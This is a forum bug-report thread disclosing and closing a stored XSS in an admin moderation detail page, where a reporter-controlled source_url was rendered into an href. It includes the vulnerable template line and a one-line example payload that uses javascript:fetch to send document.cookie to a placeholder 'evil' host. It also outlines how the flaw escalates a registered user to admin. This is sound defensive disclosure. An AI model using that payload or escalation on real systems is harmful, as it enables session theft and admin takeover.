Forums Bug Reports Thread

Stored XSS / javascript: URI in moderation report detail — reporter-controlled source_url rendered into an admin-clicked href

Patrick Bass · Jun 6 · 11 · 1 Locked
[Critical] [Urgent] [Bug Fixed] [Always Reproduces]
🚀 OP Jun 6, 2026 8:20pm

Area: Admin deep-dive (trust/safety) (audit p15a) · Surface: GET /admin/moderation/{id} (AdminModerationController@show → templates/admin/moderation/show.php) · Dimension: security · Severity: critical

Any registered user can file a report (POST /report) with source_url set to a `javascript:` (or `data:`) URI. When a moderator or admin opens that report at /admin/moderation/{id} and clicks the 'View reported content' link, the attacker's script executes in the admin's authenticated admin.* session. This is a privilege-escalation XSS (registered user → moderator/admin): the payload can read the in-DOM CSRF token and drive any state-changing admin POST (ban users, mint API keys, register SSRF-adjacent webhooks, change roles), or exfiltrate the session. OWASP A03:2021 Injection (XSS) and A01 Broken Access Control. The admin context makes this high impact even though it requires one click.

Evidence

templates/admin/moderation/show.php:172 renders the reporter-supplied source_url straight into a link target:

  <a href="<?= $e($report['source_url']) ?>" class="link" target="_blank" rel="noopener">
      <i class="fa-solid fa-arrow-up-right-from-square"></i> View reported content
  </a>

$e() is htmlspecialchars(ENT_QUOTES) (BaseController.php:57) — it escapes quotes/angle brackets but does NOT validate the URL scheme. source_url is taken verbatim from $_POST with no scheme check at report-creation time: ReportController.php:38 `$sourceUrl = trim($_POST['source_url'] ?? '');` and ReportController.php:246 inserts it into the reports table ('source_url' => $sourceUrl ?: null) with no http(s):// allow-list. The value `javascript:fetch('//evil/?c='+document.cookie)` survives htmlspecialchars unchanged because it contains no escapable characters.

Suggested fix. Validate the URL scheme before rendering as an href. In the template (and ideally at write time in ReportController) reject/strip anything that is not a relative path or http(s):// — e.g. only emit the <a href> when preg_match('#^(https?:)?//#i', $url) or the value starts with '/'; otherwise render source_url as plain escaped text. Add a SsrfGuard/UrlValidator-style scheme allow-list at report creation so javascript:/data: never reach the DB.

Filed by the automated tenant-app audit and adversarially evidence-verified. Status: verified. Open — not yet actioned.


Patrick Bass
@mobieus

🚀 Jun 6, 2026 8:47pm

Resolved — fixed and deployed. Commit a6963d71efe8, shipped dev-first then to all tenants on 2026-06-06.

admin/moderation/{id} now renders a reporter-supplied source_url as a clickable link only when it is an http(s):// URL; javascript:, data: and other schemes are shown as plain escaped text. The stored-XSS-to-admin-session vector is closed (the team already allow-listed source_url in closeEscalation; the render path now matches).

Status: fixed. Thread closed and locked.


Patrick Bass
@mobieus

Log in or register to reply to this thread.